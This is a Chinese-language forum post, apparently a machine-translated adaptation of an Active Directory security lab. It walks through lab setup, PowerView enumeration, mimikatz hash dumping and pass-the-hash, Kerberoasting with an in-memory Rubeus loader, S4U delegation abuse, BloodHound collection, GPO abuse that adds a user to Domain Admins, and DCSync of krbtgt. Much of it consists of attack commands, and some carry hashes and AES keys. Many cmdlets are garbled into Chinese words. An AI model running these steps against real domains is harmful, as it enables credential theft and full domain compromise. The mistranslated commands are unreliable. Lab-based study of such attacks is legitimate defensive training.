taibeihacker
Moderator
后置知识
剛入門的小伙伴京東或者淘寶買這本書可以去看看Windows Server 2012 R2系統配置指南_戴有偉編著文章是根據https://github.com/cfalta/adsec改編的。
环境搭建
adsec/lab-setup at main · cfalta/adsec
An introduction to Active Directory security. Contribute to cfalta/adsec development by creating an account on GitHub.
配置域控
新增一個網卡,三個虛擬機使用這個網卡設置指定ip我是直接複製虛擬機,需要更改mac地址和sid還需要更改sid可以使用系統內置的工具sysprep或者另外一個newsid工具https://newsid.softag.com/download在三台機器上以管理員權限執行以下命令。




關閉防火牆Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False關閉Windows Defender卸載-WindowsFeature -Name Windows-Defender下載自動化腳本輔助安裝
adsec/lab-setup/domain-setup-scripts at main · cfalta/adsec
An introduction to Active Directory security. Contribute to cfalta/adsec development by creating an account on GitHub.
這裡應該不能一步完成
先執行
安裝-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools重啟之後繼續執行。重啟後執行這個文件功能就是根據json文件去自動添加用戶和組等等。






配置域内机
在兩台成員機器上使用以下兩個域賬號註冊約翰马云惹不起马云多伊約翰P@ssw0rd李小龍流血鐵拳真棒!
user1這台用john認證user2機器用blee登錄

攻击机器准备
用john登錄user1這台機器,當做點,再分配一張網卡,讓他出網。默認工具包下載地址
adsec/exercises/attacker-tools at main · cfalta/adsec
An introduction to Active Directory security. Contribute to cfalta/adsec development by creating an account on GitHub.
猎犬安装及配置
谷歌一下信息收集
導入電源模塊cd C: \a ttacker-tools
cat -raw ' .\PowerView.ps1 ' | 交換器獲取當前域的基本信息和域控位置
獲取域
獲取域控制器

查看有多少電腦和域內用戶
獲取域計算機
獲取域用戶過濾出域管出來
獲取域用戶| ? { $_ .memberof -like ' *域管理員* ' }
獲取域用戶| ? { $_ .memberof -like ' *域管理員* ' } | 選擇相同的帳戶名


课后习题
參考答案我會選擇最後面哦域裡有多少台計算機以及它們在什麼上面運行?域有多少用戶?顯示所有屬性查詢語句進行,以表格形式呈現給用戶,只有相同的用戶名、顯示名、描述和最後一次密碼更改的時間。你能識別出哪些自定義的管理員組?以通用方式更改上面的powershell,只能返回自定義管理組。找到對應管理員組的成員,這些用戶上一次設置的密碼是什麼時候?有快速識別出域中服務帳戶的方法嗎?寫一個powershell查詢,所有簡單的服務帳戶。
NTLM的利用
模仿psexec需要管理員權限,使用本地管理員用戶登錄特權:調試
令牌:提升
lsadump:sam獲得到管理員哈希
7dfa0531d73101ca080c7379a9bff1c7pth 攻擊

sekurlsa

:
psexec.exe \\ user2 cmd 

课后习题
mimikatz 執行'privilege:debug'和'token:elevate'的目的是什麼?為什麼需要執行它們?以李小龍的身份登錄1。使用您在上面的用戶的知識。 john 從內存中遠程提取幫助李小龍的NTLM 哈希。如何解決PTH 問題,請講清楚原因。是否有可能(可能會)完全不是NTLM?解釋你的理由。Kerberos-烘焙
預習資料網絡——AS-REP Roasting加載插件
cd C: \a ttacker-tools
貓生的。 \ PowerView.ps1 | 交換器
貓生的。 \I nvoke-Rubeus.ps1 | 交換器查詢SPN,獲得服務用戶
獲取域用戶-SPN | 選擇samaccountname、 description、pwdlastset、serviceprincipalname
:
Rubeus 有一個統計kerberos 數據的功能
Invoke-Rubeus -Command ' kerberoast /stats '獲取目標賬戶的TGS
Invoke-Rubeus -Command ' kerberoast /user:taskservice /format:hashcat /outfile:krb5tgs.txt '這裡的腳本是base64之後通過powershell內存加載

函數調用-Rubeus([string]$Command)
{
$Message=' base64 ' ;
$Assembly=[System.Reflection.Assembly]:Load([Convert]:FromBase64String( $Message ))
[Rubeus.Program]:Main( $Command .Split( ' ' ))
}
:
破解TGS
. \j ohn.exe . \. \k rb5tgs.txt --wordlist=. \. \e xample.dict --rules=passphrase-rule2

课后习题
描述一下您認為最好的緩解技術,並解釋其原因。還有一個用戶會受到ASREP 的影響,請找出來。解釋一下TGS vs. ASREP烘焙Kerberos(委托)
之前設置的時候改json裡面的數據,沒有域改了委派用戶
Get-DomainUser -TrustedToAuth視委派的目標
Get-DomainUser -TrustedToAuth | 選擇-ExpandProperty msds-allowedtodelegateto

執行這個攻擊的條件就是要知道用戶的密碼才行
生成hash
Invoke-Rubeus -Command ' hash /password:Amsterdam2015 /domain:wing.lab /user:service1 '
:
Rubeus 允許在新的登錄會話中啟動powershell。只有在這個時候我們即將的票證會話中,不會干擾用戶john 已經的kerboers 票證。使用s4u 請求一個TGS 模擬域管理用戶Bruce(bwillis) )攻擊user1。我們請求3個不同服務的票證CIFS將用於SMB訪問HOST/RPCS forWMI 

調用-魯伯-Command “ S4U /用戶:服務1/AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073/impersonateuser:bwillis /msdsspn:cifs/user1.wing.lab/PTT ”
調用-魯伯-Command “ S4U /用戶:服務1/AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073/impersonateuser: bwillis /msdsspn:host/user1.wing.lab/PTT “
調用-魯伯-Command ” S4U /用戶:服務1/AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073/impersonateuser:bwillis /msdsspn:rpcss/user1.wing.lab/PTT “
:
查看檢查的報告自己前面
我設置錯了,委派的目標應該設置成user2,user1 是,但都一樣。

ls \\ user1.wing.lab \C $通過wmi控制user1
Get-WmiObject -Class win32_process -ComputerName adsec-01.contoso.com
课后习题
在上面的操作中,您通過SMB和WMI獲得了服務器用戶的讀取權限。現在通過這兩個協議來執行。目標是執行以下命令,將用戶john添加到本地管理組試點模擬域管理員用戶查克马云惹不起马云諾里斯不是“布魯斯马云惹不起马云威利斯。有什麼作用”ACL攻击
信息收集貓生的。 \S harpound.ps1 | 交換器Invoke-Bloodhound -CollectionMethod DcOnly -Stealth -PrettyJson -NoSaveCacheCollectionMethod Dc只表示僅從域控收集數據。從opsec的角度來看,這樣比較好,因為是流量正常。 Stealth單線程啟動。速度較慢,但安全。 PrettyJson 格式化.json文件。 NoSaveCache 不保存保存文件。
啟動血犬下載社區版的neo4jhttps://neo4j.com/download-center/#releases

jdk11
./neo4j 開始

先把service1標記為已陷陷點這裡點擊這裡用戶對域控的組策略有可訪問權限,通過組策略利用,攻擊DC需要先以service1的身份登錄



runas /user:wing.lab \s ervice1 powershell. \S harpGPOAbuse.exe --AddComputerTask --TaskName ' Update ' --Author contoso \a dminuser --Command ' cmd.exe ' --Arguments ' /c net group \'Domain Admins\' john /ADD ' --GPOName “默認域控制器策略” --force


寫完以後,等管理員更新組策略才有可能觸發。
手工弄弄。提權成功登陸到域控。



课后习题
acl 攻擊有哪些利用工具?权限维持
權限維持的東西比較多金銀筆記本後門等等等等
一般DC權限就先執行
lsadump:dcsync /user:krbtgt所有收到用戶hash,也可以作為後門。
课后习题
自主學習這些權限維持方法的原理。参考答案
我做的特別對,有錯誤請留言。信息收集
powerview3.0 技巧
PowerView-3.0 tips and tricks
PowerView-3.0 tips and tricks. GitHub Gist: instantly share code, notes, and snippets.

域有多少用戶?顯示所有屬性查詢語句進行,以表格形式呈現給用戶,只有相同的用戶名、顯示名、描述和最後一次密碼更改的時間。

你能識別出哪些自定義的管理員組?以通用方式更改上面的powershell,只能返回自定義管理組。 Get-DomainGroupMember -Identity “域管理員” -Recurse

找到對應管理員組的成員,這些用戶上一次設置的密碼是什麼時候?

有快速識別出域中服務帳戶的方法嗎?寫一個powershell查詢,所有簡單的服務帳戶。獲取域用戶-SPN | 選擇